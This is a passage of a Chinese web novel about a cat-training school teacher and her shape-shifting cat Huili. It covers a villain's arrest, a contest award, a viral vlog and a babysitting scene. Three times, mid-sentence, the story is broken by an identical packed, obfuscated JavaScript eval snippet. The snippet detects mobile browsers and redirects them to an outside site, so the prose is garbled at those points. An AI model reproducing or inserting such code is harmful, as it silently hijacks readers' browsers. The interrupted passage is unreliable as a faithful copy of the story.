灰狸想,原来幸福就是这个滋味,像是血液一样粘稠,像是泪水一样温热。 如果幸福属于他,那么,即使他倒在奔赴的路上,幸福也会自己跨过天堑鸿沟,稳稳地把他接住。 灰狸感到上面传来一股拉力,有人在往上拽他们,后勤主任破口大骂:“你找死啊!穿个高空安全带就敢往下跳,要蹦极去景区玩去,我心脏都快蹦出来了!” 也是灰狸命不该绝,今天在人工湖干活的几个工人师傅把一些安保设备留在了现场,缺了这个,江有鱼还真没法去救灰狸。 评审团的成员也赶忙跟着过来救人,连三脚猫阿橘都爬起来,用力咬着安全带往后拉。两分钟后,一人一猫成功获救。 阿橘激动地想要扑上去,拥抱他最敬爱的救命恩猫灰狸大哥,却看见,灰狸抬起手,用力地将江老师抱紧怀里。 他抱得那么紧,浑似把世界上的一切都忘了。江老师比他矮了不少,几乎被他全部裹住,在外面一点都看不见了。 喂~庆祝大难不死,就不带我一个吗?阿橘不甘心地用小爪子抓了抓灰狸的小腿,完全没人理他。 “阿橘!” 一声呼唤从身后传来,阿橘的眼睛立刻亮了,他转过身,一瘸一拐地向着石小姐跑去:“妈妈!妈妈!” 石小姐张开双臂,一把将阿橘抱在怀里,一人一猫紧紧相拥,都流下了激动的泪水。 石小姐身后,任云川等人也把张佑辉从控制室里揪了出来,张佑辉的脸上满是血痕,一看就是石小姐用指甲挠的。 阿橘看到张佑辉,立刻精神起来,扭着身子上前,打算兑现自己的誓言,狠狠挠他的脸。 不过,张佑辉脸上已经没有可下爪的地方了,阿橘想来想去,只得立起身子,恶狠狠地去挠张佑辉的屁股。 张佑辉痛的哎呦一声,伸手要去把阿橘扯开,却被冉晨星眼疾手快地上了铐子:“干什么?当着警察的面,还不老实!” 张佑辉气道:“还有天理吗?她挠我,她的猫也挠我,你们不管,拷我干什么?” “为什么拷你,不是跟你说过了吗?你涉嫌故意损坏财物罪!” “财物?你说这只猫?”张佑辉用脚去指阿橘,“这猫好好的又没死,顶多是骨折,算什么损坏财物?” 这…… 冉晨星想不到他这么能狡辩,一时间还真不知道说什么。 损坏财物罪必须要损坏到无法修复才能定罪,如果把阿橘定义为财物,除非阿橘死掉,否则从法律意义上来说,还真不能定罪。 张佑辉看冉晨星不说话了,越发得意:“报警谁不会啊?我要告这个女人故意伤害我!还有,我要告你们滥用职权,欺压良民!” 石小姐气的要上去再打他几下,被冉晨星拦住,正纠缠不休时,一个声音响了起来:“报警!我也要报警!” 说话的是江有鱼,她指着自己的脸说道:“都是因为他绑架我的猫,才导致我救猫心切受了伤,我要追究他的责任!” 张佑辉嗤笑道:“好啊,追究吧,你这也叫伤啊?不就是出了点鼻血吗,连民事赔偿都够不上,别以为我不懂法!我赔你三十块,你到门口买块纱布包扎一下吧!” 场面一时僵持住了,冉晨星虽然痛恨他那无赖的样子,却碍于法律,无法反驳。 张佑辉把手挑衅地伸到冉晨星面前:“看什么看?还不快点把我解开?你的警号我记住了,到时候我第一个就投诉你!” 难道说,就要让这个王八蛋逃脱法律制裁吗? 江有鱼咬牙切齿,深恨自己刚刚撞得不够狠,早知道撞个鼻骨骨折好了! 这个张佑辉恶贯满盈,就没有一条罪名能拿出来制裁他吗?老天爷啊,开开眼吧! 就在这时,忽然又传来一道声音:“报警!我要报警!” 说话的居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010389|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然是后勤主任,他看着一地狼藉的机关赛道,心疼的脸都抽抽了:“天杀的王八蛋,你知道这套机关赛道值多少钱吗?足有几百万啊!让你小子全给我报销了,你……” 一想到后续的赔钱、报销、做不完的检讨、跟租赁商家扯不清的皮,后勤主任就恨不得跳坑里死了算了。 若是不拉个人垫背,学校肯定要追究他的责任,此时不抓张佑辉,更待何时? 他一把拉住任云川的手:“警察同志,你可得给我做主!刚刚张佑辉故意开动机关,这才把赛道弄坏的,你都看到了,是吧?快把他抓起来!” 冉晨星脸上露出一丝笑意:“这下听见了?这可是群众报警,不是我们冤枉你,你损坏几百万的设备,在场大家都是人证,还是现行抓获,跟我们走一趟吧。” 张佑辉的脸顿时青了。 千算万算,没算到这一步,损坏几百万的设备,追究起来能在牢里待上十七八年! 到这会儿,他是货真价实的后悔了,早知道会这样,他折腾什么?还不如承认虐猫,吊销猫德训练师证呢! 可是后悔也没用了,冉晨星等人把张佑辉押回了警局,等着他的是巨额赔偿金和牢饭。 这个惊心动魄的夜晚就这么收场了,可是事情还没完。阿橘胳膊断了,江有鱼鼻血不止,都得去医院处理。 石小姐开车,带着大家去了一家非常有名的私人医院,还承包了江有鱼的医药费。 江有鱼非常不好意思:“石小姐,你太客气了……” “哟,还叫我石小姐呀?”石小姐开着车,把阿橘放在腿上,含笑道:“我大名叫石竹,比你大几岁,以后把那个小字去了,叫我石姐就行。” 江有鱼从善如流:“石姐,我自己能付医药费,你不用费心了。” “那可不行,多亏了你们,才能救出阿橘。”石竹道歉了:“之前我那么误会你,你还肯不计前嫌,我、我真不知道说什么好……” “石姐你言重了,阿橘跟我相识一场,这不算什么,别放在心上。” 石竹的眼泪吧嗒吧嗒掉在阿橘身上:“你不明白阿橘对我多重要。我已经四十三岁了,一直没结婚,父母两年前去世了,我一个人,每天都孤独的想死。要不是有阿橘,我肯定早就撑不住了,他就跟我亲生的孩子一样……” 阿橘用后腿站起来,轻轻蹭着主人的脸安慰她。 石竹擦去眼泪:“这点钱不算什么,你别跟我争,不补偿你们,我心里才难受。” 话说到这份上,江有鱼也就不再推辞石竹的好意。石竹道:“还有一件事,想跟你商量,那个猫猫天才学院,阿橘肯定不会去了,我想把阿橘转回你那里,你看怎么样?” 江有鱼笑了:“好哇!随时欢迎!” 医生诊断,阿橘因为骨折要住院观察,石小姐办住院手续去了,江有鱼只是轻伤,包了纱布便已无恙,可以回家。 灰狸一路上都很沉默,自从获救,他像个木头人一样,除了那个拥抱外,全然沉默。 江有鱼想他可能是吓着了,也不当回事。 回到家后,她想着灰狸肯定几天都没吃东西,立刻就奔向厨房。 “家里没什么吃的,最近你不在,我也没心思做饭……吃蛋炒饭怎么样?”她打开冰箱,询问灰狸的意见:“不过你很久没吃东西了,炒饭不好消化……还是来碗蛋花粥吧?” 半天没得到灰狸的回应,她便默认灰狸选了蛋花粥,从冰箱里掏了两个鸡蛋出来。 江有鱼关掉冰箱门,一转身,差点撞上灰狸的胸口,这才发现灰狸不知什么时候,已经到了她身后。 她吓了一跳,后退一步,背脊撞上冰箱门:“灰狸?怎么了?” 一只手温柔地抚上她的脸,轻轻地碰了碰她鼻子上的纱布,好像在触碰一朵春天的花。 灰狸垂着头,眸色深深,眼中蕴藏着许多她看不懂的情感:“为什么,要对我这么好?” 32.云朵市第一好猫 江有鱼被他问懵了,对自己的小猫好,还要理由吗? 她反问道:“那我又有什么理由不对你好呢?” 当然有,而且有很多。 “我……只是一只坏猫。我长得丑,脾气坏,有前科,不值一分钱。”灰狸胸中翻滚着无尽的迷惑,他盯着江有鱼的眼睛,发出了终极的疑问: “我哪里值得你对我好呢?我跟阿橘又不一样,我连品种猫都不是!” 江有鱼只觉得莫名其妙:“坏猫啊……也许之前是有点小坏,但是你现在已经是好猫了啊!品种猫怎么了?品种猫有你可爱吗?有你聪明吗?有你勇敢吗?” 她踮起脚尖,揉了揉灰狸柔软的头发:“我对你好,跟你是不是品种猫没关系,我对你好,只因为,你是灰狸呀。” 她认真地盯着灰狸的眼睛:“你就是这个世界上最棒的小猫,就算给我一百只品种猫,我也不换!” 有一种奇异的冲动,俘获了灰狸的心脏。 他的背脊做痒,爪垫发酸,他想要躺下,想要江有鱼的手从他的下巴一路抚摸到后背,想要她捏一捏他的爪垫,想要用尾巴紧紧缠住她的小腿…… 不不不,这种话他不能信,人类都是骗子!只要他们看到他长得有多丑,就都会吓跑了! 可是,说这句话的是江有鱼呀…… 灰狸鼓起勇气,结结巴巴地询问道:“你、你真的觉得,我比品种猫好?可、我长得那么丑……” “丑?每只猫咪都是很可爱的!”江有鱼不信他的话,“你怕我嫌弃你丑啊?怎么对我这么没信心呢?” 她拍拍灰狸的手:“来,让我看看你长什么样子!” 灰狸深深看她一眼,发现她满眼期待,亮如星星。他睁大眼,努力将这一刻铭记在心里。 说不定,等江有鱼看到他的样子后,他就再也见不到她这么喜悦的眼神了 下一秒,灰狸不见了,一只猫出现在灰狸刚刚的位置,独眼含羞带怯,小心地看着江有鱼的神色。 啪嗒一声,江有鱼手里的鸡蛋落地了,她怔怔地捂住嘴。 天啊!世界上怎么会有这么漂亮的小猫! 眼前出现的赫然是一只灰色的长毛狸花,以江有鱼的眼光看,灰狸应该具有部分西伯利亚森林猫的血统,比寻常狸花大了好几圈,身形像是小狮子一般威风,疤痕和独眼更增霸气。 他两耳尖尖,下巴圆圆,鼻尖粉嫩,被毛丰盈,长腿健壮有力,四只脚爪都带着白手套。最惹人注目的,是他那漂亮的大尾巴,简直像是只松鼠一样蓬松可爱,简直要迷死个人! 灰狸看着江有鱼怔怔的样子,眼中的光芒一点点熄灭下去。 看吧……她觉得他很丑,丑的都说不出话了。 她的眼珠直勾勾的,是在想一些不伤他自尊的谎话吧? 灰狸失落地垂下尾巴,果然,不管怎么样,他都比不上品种猫…… 一只手,却忽然伸到了灰狸面前。 江有鱼抖着手,用尽全身的自制力发问:“可、可以摸吗?” 她想摸他?人类只会摸他们觉得可爱的猫,江有鱼这是觉得……他可爱? 灰狸的心跳的突然好快,像是爬了一百米高的树那么快。他忍住羞怯,顺从了自己压抑多年的本能。 他凑过去,用头蹭了蹭江有鱼的手,轻轻喵了一声。 下一秒,灰狸感到自己被人抱起,还没等他反应过来,便已经被江有鱼翻过身来,躺在了她的大腿上。 这种肚皮朝天的姿势,让灰狸稍稍有些惊慌,还没等他挣扎,江有鱼的双手便捏住了他两只前爪的粉肉垫。 随即,她把脑袋一头扎进灰狸的毛肚皮里,狂蹭起来。 太幸福了太幸福了太幸福了! 江有鱼把脸埋在那温热的猫肚皮上,只觉升上天堂,浑身飘飘欲仙。 这粉嫩的爪垫!这丝滑的毛毛!这柔软的触感!只有养猫的人才能感受到这一刻的含金量啊! 世界上怎么会有灰狸这么完美的小猫啊! 灰狸仰面朝天,躺在江有鱼柔软的大腿上,感受到她的脑袋在自己肚子上蹭来蹭去,只觉浑身酥软,每一根毛都立起来了。 虽然这个动作,有些冒犯他的尊严,但是……这里也没有其他人在,享受一会儿,也没关系吧? 灰狸闭着眼,呼噜了起来,他无法抗拒自己的本能,被摸肚皮什么的,真是太舒服了。 其实没有猫能够抗拒被抚摸的舒适体验,就好像人也拒绝不了毛茸茸的触感一样,吸猫与被吸,一直都是双向奔赴的。 事到如今,无需再疑,江有鱼对他的喜爱溢于言表。 而他呢? 灰狸感受着自己的怦怦心跳,那种频率,无言地诉说着他的心情。 那是一种,想要此刻持续到生命尽头的感觉,这个人类就是他的归属、他的家人,此生此世,他再也不想跟她分开。 也不知道过了多久,江有鱼才从毛肚皮上回过神来,脸色绯红,眸光闪亮,心跳急促,一看就是全身的多巴胺都在分泌。 她恋恋不舍地在灰狸的小爪垫上亲了好几下,这才回过神来:“我还得做饭去……” “不要了,你受伤了,还是我来做饭吧。”灰狸用小爪子摸了摸江有鱼的鼻子,一本正经道:“伤员就要休息,这是天经地义的!” “嗯……可是你不会做饭啊?” “你教我就好了,你不是说我很聪明吗?我肯定能学会。” 江有鱼无奈地笑了,她把灰狸抱起来,让他踩在自己肩膀上:“好好好,那我就先示范一次给你看,等你学会了,就做饭给我吃吧。” 灰狸却当真了,毛脸上满是严肃:“你放心,我会好好学的!” 为家人准备食物什么的,本来就是男猫的责任呀!既然江有鱼不吃生肉,那他一定要学习烹饪! 厨房传来阵阵蛋花粥的香味,今天的男猫,也在努力修行猫德呢! 三天之后,江有鱼鼻子上的纱布拆掉了,她还意外接到一个电话,正是猫德大赛组委会打来的。 工作人员在那边一解释,她才想起,今天也是猫德大赛总冠军诞生的日子。 江有鱼本以为闹了这么一出,灰狸就算是自动退赛了,便婉拒邀请,但工作人员的态度很坚决,要求他们一定要来。 江有鱼不知道他们搞什么花头,灰狸一进训练营就失踪了,肯定评不上总冠军。 而且她现在对猫猫天才学院一点好感都没有,完全不想参赛。 灰狸歪着头,听着电话里的动静,用一只前爪按住了江有鱼。 自从那天变为原型后,灰狸单独跟她在一起的时候,就都会保持猫的形态,这种形态对小猫来说,更加舒适自然,对人类来说也更养眼。 他动动耳朵尖,轻声对江有鱼道:“还是去吧。” 不去的话,连组冠军的奖金也拿不到了,那就太不划算了,江有鱼很需要这笔钱呢。 再三确认灰狸对猫猫天才学院没阴影后,江有鱼这才勉强答应了出席总决赛。 石竹跟阿橘也接到了邀请,石竹本也不想来,但考虑到她要给阿橘办转学和退宿舍,怎么都要来一趟,索性今天一齐办了,这才出席。 阿橘的胳膊还挂着石膏,但活泼极了,一见到灰狸就兴奋的上蹿下跳。他抓着灰狸,给他看石竹的车:“这是我所有的零食,今后,它们就是你的了!” 灰狸看了一下那车上的东西,尾巴毛都炸起来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014161|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那是什么啊! 谁来告诉他,这成箱成箱的猫罐头是怎么回事?居然堆满了一辆皮卡!这得有十、二十、三十……整整六十箱吧!至少三千个各类口味的猫罐头! 阿橘,看不出你是这样的土豪橘!你的零食就有这么多?怪不得你以前那么胖…… 阿橘很骄傲:“放心收下吧,我们家是开猫粮厂的,罐罐有的是!不够就跟我说,我叫主人再给你拉一车来!” 原来阿橘是躺在猫粮山上出生的大少爷! 就这样,灰狸也晕乎乎地沾上了大少爷的光,成了富有三千个罐罐的暴发户猫了。 半小时后,所有嘉宾到场,冠军颁奖典礼拉开帷幕。 惯例是一番冗长的演讲开场,但下面的观众大多听说了张佑辉的丑闻,在下面议论纷纷,明里暗里都在怀疑本届猫德大赛水平不行。 发表演讲的主评审,把观众的反应都看在眼里。他早就预料到会发生这种情况,在把官都说完后,他话锋一转:“……今年的大赛,是非常不平静的一场赛事。” “我相信,在座的各位,或多或少都听到了一些传闻,对于业界年轻同仁的失德行为,我本人深感痛心。同时,这也证明大赛的组织管理出现了漏洞,我代表组委会,对大家致以诚挚的歉意。” “但是,任何事物都有好坏两面。正如平静的池塘养不出乘风破浪的选手,和平的环境也培养不出纵横沙场的名将,正是这次的风波,让我们发掘出了当之无愧的总冠军。” “在这起事件中,有一名选手,展现出了压倒性的实力。” “什么是猫德?猫德不是赛场上的表演,而是生活中的优良表现,在面对突发状况的考验时,选手才会暴露出真实的水平,展现出完美的猫德。” “他在遭遇绑架时,能根据生活常识,通电找到逃生出口;他能活用健康安全课的知识,找到消防斧破门而出。” “他以惊人的身手通过障碍赛道,运动能力一流;他在困境中照拂同伴,展现了绝佳的猫咪社交能力。” “他在逃离险境后,沉稳冷静,不忘拥抱人类,安抚她的情绪……”主评审的手向台下一指:“他,就是文化组的组冠军,灰狸!” 会场响起一片热烈的掌声,一束聚光灯直直打在江有鱼跟灰狸身上,江有鱼目瞪口呆,嘴巴张成o形,主评审则笑的满面慈爱:“上台来吧,孩子。” 江有鱼完全惊呆了。 大赛总冠军什么的,她完全没想过,在灰狸出事之后,她连比赛都想不起来了,遑论得不得奖。 还是石竹推了她一把,她才浑浑噩噩站起来,带着灰狸往台上走去。 鲜花飞舞,彩带招展,聚光灯下,主评审将麦克笑盈盈地递到她嘴边:“江有鱼老师,请问,你是怎么培养出这么优秀的学员的?” 台下的人个个屏住呼吸,准备聆听冠军教师的宝贵经验,江有鱼脑子一片空白,她可什么都没准备。 但她毕竟不是吃素的,拿出平常忽悠学员家长的口才,从自己考猫德训练师证的经历讲到自己创办学校的初心,最后讲到跟灰狸相处的趣事,完美地把场面圆了过去。 最后,她用一句话结了尾:“只要用心对待小猫,小猫就会用心对待你。” 台下掌声雷动,主评审将奖牌跟奖金都递给她,电视记者冲上前,对着江有鱼疯狂拍照。 她的风光背后,是猫猫天才学院院长汪泉阴冷的注视。 本次大赛,本是他进军云朵市的最佳宣传机会,谁知,出了张佑辉那个蠢货,硬生生把比赛搞成了大丑闻,现在,风头都被这个名不见经传的女人夺走了,真是晦气! 有鱼猫德学院是吗……他记住了,日子还长,咱们走着瞧! 33.高能量灰狸的一天 十万奖金到手,江有鱼的第一件事就是补交房租,钱包鼓鼓就是底气十足,接下来,她的生活总算能松口气了。 三枚亮闪闪的奖牌就被挂在了学校大门口,除了灰狸的那两枚奖牌,阿橘也把奖牌送过来了。 奖牌把大门映衬的蓬荜生辉,江有鱼十分得意,给门头拍了张照片,发在自己的“喵知道”上。 她本以为冠军金牌会带来诸多点赞评论分享,奇怪的是,给她点赞的人却寥寥无几,还掉了不少粉。 江有鱼不得不虚心向梅丽莎讨教:“为什么大家对我的帖子不感兴趣?” 梅丽莎很快就回复了:“我瞅了一眼,你那玩意确实不行,就一个门头照片,跟个营销号似的,谁乐意瞅啊?你得发观众乐意瞅的东西!” “发点招人稀罕的,多发猫,什么荣誉奖牌都没必要!” 梅丽莎给出了互联网运营第一忠告:要有猫! 江有鱼看着毛绒绒躺在她腿上的灰狸,顺手摸摸他的脑袋,灰狸舒服地呼噜起来。 没错,这么可爱的小猫,就要分享给世界上所有人看! 于是,接下来,网友们就看到了江有鱼精心拍摄的vlog:“云朵市高能量猫德冠军的自律一天” 7:00,灰狸起床,精心舔毛,打理今日造型。 打理完毕,他还要照一照镜子,高高翘起尾巴。嗯,今天也是干净蓬松的小猫! 7:30,灰狸跳上厨房柜台,那里有个电蒸锅,蒸锅里有昨晚放进去的半成品蛋羹。 灰狸歪着脑袋,严肃地盯着电蒸锅上的功能键,小爪子准确地按下“蒸蛋”功能。 7:45,蒸蛋做好了,灰狸关掉电蒸锅,扬声对着镜头道:“吃饭了!” 随后,江有鱼将蒸蛋端出来,一人一猫共享美味早餐,灰狸埋头痛吃,鼻子上沾满蛋羹。 8:00,灰狸来到洒满阳光的后院,开始今天的体育运动。 最近他迷上了踢球,一个猫就能在院子里疯玩一上午,灰狸还开发了许多新玩法。 比如挑战用头顶球、只用后爪在球上站立、用尾巴当球杆,像是打高尔夫一样,把球击飞到泳池,再到泳池里玩一会水球。 他自得其乐的时候,江有鱼就可以专心处理工作事宜,回复学员家长、备课、核验收支……一个上午就这样愉快的过去了。 12:00,是午饭时间。江有鱼做饭,灰狸在旁边认真学习,不时复述菜谱,并用小猫爪子模拟炒菜的动作,学的可认真啦! 13:00,午休时间到。江有鱼盘腿坐在地毯上,灰狸就躺在她怀里,眯着眼睛享受阳光和她的抚摸。 不知不觉,江有鱼倒在地毯上,昏昏欲睡,灰狸也四仰八叉地躺在她身边,大尾巴搭在江有鱼肚子上,很快,猫呼噜就响了起来。 14:00,灰狸开始上课。今天上的是健康安全课和猫咪礼仪课,灰狸竖着耳朵,聚精会神,还积极举爪回答问题,得到江有鱼的高度表扬。 猫咪礼仪课上,灰狸也本着一贯的大哥风采,从不跟小弟们抢玩具,遂成最受欢迎的玩伴。所有猫猫都想跟灰狸一起玩,灰狸像个交际花一样陪了这个陪那个,猫缘好到爆炸。 18:00,放学时间。今天的江有鱼不想做晚饭,遂瘫在沙发上点了个炸鸡外卖。 18:30,外卖员到了,灰狸一路小跑过去,衔起外卖袋子,跳到沙发上,把炸鸡递给江有鱼。 江有鱼赞赏地摸摸他的头,拆开外卖盒子,又点开了一部下饭番剧,灰狸坐在她怀里,跟她一起看电视,你一块我一块的吃炸鸡。 光速解决晚饭后,灰狸叼着空外卖盒子出门,把垃圾丢掉了。爱干净的小猫,可从不容忍垃圾在家里过夜。 20:00,是课后补习时间,灰狸变回人形,猫耳朵一动一动,握着笔学习写字。 镜头扫过纸上字迹,只见笔锋锐利,横平竖直,虽然说不上来多好看,但是清晰大方,让人读懂毫无压力。 灰狸就这样接受了2小时加课,虽然题目水准也就是人类初中的样子,但是这对小猫来说,已经很不得了了! 要知道,大多数的猫也就只有小学三年级的水平,且每天都想着法的逃学呢! 22:00,灰狸以人类的样子准备了明天的早饭。他把绿豆、大米、冰糖放进电饭锅里,熟练地按下八小时预约键,明天早上就有好喝的绿豆粥了。 23:00,洗漱完毕,灰狸准时上床睡觉。 小猫蜷缩在自己的被子里,怀里抱着一个丑兮兮的老鼠布偶,对着镜头挥了挥爪,轻声说道:“晚安,江有鱼~” 镜头外的江有鱼也忍不住笑了一声,放软声音道:“晚安,灰狸~” 镜头一黑,vlog到此结束,短短4分钟的视频,却彻底引爆了网络。 天呀!这是猫吗? 如果这个会做饭会拿外卖会倒垃圾还爱学习的是猫,那我家里的那个逆子是什么? 只会吃了睡睡了吃的猪吗? 这种该独立就独立、该黏人就黏人、生活能自理,还能顺便帮主人自理的猫,到底是谁在养啊! 评论区几乎是一瞬间就涌来了大批选手,每秒都能刷出99+的消息。 艾利克斯:我家猫说,这都是演的。 离异带仨娃:孩子喜欢什么颜色的麻袋?姨姨都有,姨姨今晚就带着麻袋去看你! 一叶舟:在我最无能为力的年纪,遇到了第234只最想要照顾的猫……卧槽什么我照顾猫,这猫都能照顾我了! 网友们个个都犯了红眼病,杀进评论区咆哮:到底、怎么、才能、养到、这么好的小猫! 江有鱼按照梅丽莎的指点,适时在评论区展示了一番灰狸的奖牌:训猫,咱是专业的。如果也想拥有这么好的猫,不妨后台滴滴。 有鱼猫德学院,激情招生中!今天你给我一个逆子,明日我还你一只好猫! 然后,江有鱼的手机就滴滴滴滴,响了一夜都没停过。 跟上次的灰狸救人不一样,猫救人并非常事,只能引来一些猎奇的网友。 而这一次,灰狸可是全方位为大家展示了,养到一只有猫德的聪明猫,能过上多么幸福的日常生活! 这精准的切中了目标人群的需要,江有鱼的私信咨询瞬间爆炸了,她忙的都要回不过来了。 推广,推广果然很重要啊! 幸亏有梅丽莎,大网红就是不一样,稍微透露一点经验,那就点石成金了~ 江有鱼当即决定,要好好感谢梅丽莎! 今天是休息日,她给梅丽莎打电话,邀请她来吃饭,梅丽莎却婉拒了:“不行,我得帮我姐看孩子,今儿个去不了。” 江有鱼听出梅丽莎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018619|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音里淡淡的疲惫,还能听见小女孩大呼小叫的尖锐声音,听声音,也就三四岁,心里默默给梅丽莎点了个蜡。 谁不知道这岁数的人类幼崽最难带?尚且不懂事,但已经具有了强大的破坏力,能把人活活折腾死,谁带谁憔悴。 梅丽莎对她那么仗义,她也要投桃报李才对。 这时候,就需要帮梅丽莎带!孩!子! 她立刻道:“孩子怕什么,一起带来呀,我这里有院子,孩子可以在院子里玩,你也能趁机休息休息。” 梅丽莎的声音几乎要喜极而泣,仍然强撑着客气道:“哎呦,那多不好意思……” “没事,咱们之间不用客气,现在就过来吧,我在家等你!” 江有鱼说完就挂了电话,正好前几天老家的父母寄了一箱土特产来,里面有正宗的盐池滩羊肉,吃个清水涮羊肉火锅,岂不美哉? 吃火锅要做的准备也少,把肉一切,蔬菜洗洗就好,她这边刚刚搞定,梅丽莎就来了。 她左手抱着一个小女孩,右手提着孩子的小水壶、婴儿湿巾、尿不湿,拖家带口,神色憔悴,连妆也没画,一股活人微死感。 至于她的精气神,显然都被她怀里那个红脸蛋的小姑娘给吸走了。 梅丽莎把孩子往地上一放,推了推她的屁股:“小草,叫人呀。” 小草一点都不认生,大大咧咧对着江有鱼伸出手:“漂亮姐姐好!” 江有鱼连忙上前,跟小草握了握手:“你也好,欢迎你来做客,想吃什么零食,姐姐给你买?” 小草语出惊人:“先来点酸菜血肠,然后——唔唔唔!” 梅丽莎一把捂住孩子的嘴,压低声音道:“你吃什么血肠,你看你老姨像不像血肠?” 随后她对着江有鱼尬笑道:“别听她瞎咧咧,让她自己玩去。” 小草的话都被梅丽莎捂了回去,小脸气鼓鼓的,非常可爱。 客人进门,当然要先吃饭。 江有鱼跟梅丽莎一边吃饭,一边聊天,她还有很多事情想跟梅丽莎请教。 小草吃饭的时候尚且安静,等她吃饱了,很快就无聊了起来。 这个年纪的孩子,争抢大人的注意力是本能,小草很快就开始缠着梅丽莎,一会儿要她抱,一会儿要她喂,还抢着跟梅丽莎说话,闹得两个大人都没法聊天了。 梅丽莎也觉尴尬,可她很清楚这个外甥女的恐怖之处,万一这会儿不顺着她,立刻就会遭到魔音穿脑,这里是江有鱼家,万一闹起来就太难看了。 关键时刻,一条毛茸茸的大尾巴伸过来,轻轻挠了挠小草的下巴。 小草的眼睛一下就亮了:“哎呀!猫猫!” 没有小孩能够抗拒毛绒绒的诱惑,在梅丽莎家的时候,小草就疯狂迷恋艾达,不过艾达是只德文猫,毛毛很短,摸起来手感远没有灰狸的长毛那么好。 现在,遇到主动投怀送抱的灰狸,小草怎能放过? 她把梅丽莎全忘了,追着灰狸的背影就跑过去:“猫猫!等等我!” 江有鱼震惊了,灰狸不是一向最讨厌跟人接触的吗?怎么今天主动出来迎客了? 灰狸扭过头,给了她一个坚定的眼神:人类幼崽就交给我来带,你放心跟朋友聊天吧! 用眼神示意后,灰狸继续用尾巴当逗人棒,左摇右摆地勾引着小草,往客厅里去了。 34.金牌保育员灰狸 灰狸望着小女孩,独眼中神色平静,居然还带着一丝温情。 他不喜欢人类,但是他并不讨厌人类幼崽。 幼崽们总是很可爱的,无论是人的幼崽、猫的幼崽,都是软软的、天真的、懵懂的,虽然有些幼崽不讨人喜欢,但幼崽们对世界并不怀有攻击欲。 光这一点,就已经足够了。 灰狸在黎明会带过很多猫族幼崽,人类幼崽他还是第一次带,不过为了让江有鱼安心跟朋友聊天,灰狸一定会照顾好这个小客人的。 他先拿出带猫族幼崽的那套,用大尾巴逗小女孩来扑。 小女孩果然上钩了,对着他直直扑过来,一把就把他的大尾巴抱在了怀里。 小孩子的手没轻重,抓的他有点痛,但灰狸还可以忍受,小崽子嘛~力气大说明体力好,将来一定能成长的很茁壮的! 他正打算接着逗小草玩一会儿,但小草明显有自己的想法:“好漂亮的大尾巴!猫猫,我一定要让你变得更漂亮!” 灰狸忽然有种大事不妙的感觉。 自从灰狸把小草带走后,小草就变得很安静,江有鱼得以跟梅丽莎谈天说地,好不快活。 梅丽莎也很感慨:“我的耳根子好久都没这么清净了,你都不直道,小草太闹腾了,我都连着三天没睡好了……” 刚开始的半小时,大家都很开心,一小时后,饭都吃完了,小草依然很安静,梅丽莎有点觉得不对头了。 按照她这三天的带孩子经验,宝宝静悄悄,必定在作妖。 她得去看看,小草到底在干什么。 梅丽莎起身往客厅走去,随后,她发出来惨绝人寰的笑声。 “哈哈哈哈哈哈!” 江有鱼连忙跟着过去看,这一下,她也忍俊不禁,噗嗤笑出来。 灰狸无奈地站在那里,头上被小草包了一块大花毛巾,乍一看像个阿拉伯贵妇。身上夹满了五颜六色的美发小夹子,时髦娇俏的要命。 小草坐在他旁边,一本正经地给他的尾巴毛梳辫子,口中念念有词:“这位客人,你的发质很不错,要是做个养护就更完美了,要不要在我们店办卡?我给你八折。” 灰狸忧郁道:“谢谢你小草,不用了。” “不要叫我小草,叫我托尼老师!” “……好的托尼老师。” 果然,女人之所以能岁月静好的聊天,是因为男猫在替她们负重前行,梅丽莎笑的手抖,还不忘拿出手机拍照,她还提醒江有鱼:“快拍啊!多好的素材!” 江有鱼赶快抽出手机拍了几张,将灰狸那可爱的小表情360度无死角的拍下来。 小草还没有长到害怕镜头的年纪,旁若无人道:“客人,接下来我要给你做造型了,我一定要让你变成最时髦的女王!” 说罢,她又拿出一块毛毯披在灰狸身上,还催促他:“转圈呀!公主出场的时候都要转圈圈的,否则裙子就不会发光啦~” 灰狸于是乖乖转圈,把头上的大花毛巾和毛毯甩成公主裙摆的模样。 梅丽莎彻底放心了,想不到灰狸这么会带孩子,要是艾达也有这一手就好了,能省她多少心? 可惜艾达一看到小草,就往床底下躲,生怕被小草拽去过家家,怎么就不能像灰狸那样,大大方方的呢? 于是她把小草留给灰狸,自己享受难得的清净时光去了,泡上一杯咖啡,晒晒太阳,听听音乐,不用带崽子的生活多美好呀! 这一个下午,小草先后当了造型师、医生、店老板,灰狸时而是美发店的客人,时而是病人,时而是服务员。 